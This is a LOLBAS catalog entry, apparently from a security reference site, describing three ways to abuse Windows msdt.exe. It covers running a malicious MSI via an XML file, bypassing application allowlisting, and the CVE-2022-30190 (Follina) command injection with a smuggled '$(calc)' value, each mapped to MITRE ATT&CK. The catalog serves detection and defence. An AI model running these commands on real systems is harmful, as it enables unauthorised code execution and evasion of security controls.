DΛΣMӨП

Catalog LOLBAS

LOL · Binary

Msdt.exe

3 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use Execute code

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use Execute code bypass Application whitelisting

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Context
user
Native
AWL Bypass
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

Use Execute code bypass Application allowlisting

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
Context
user
Native
AWL Bypass
MITRE
T1202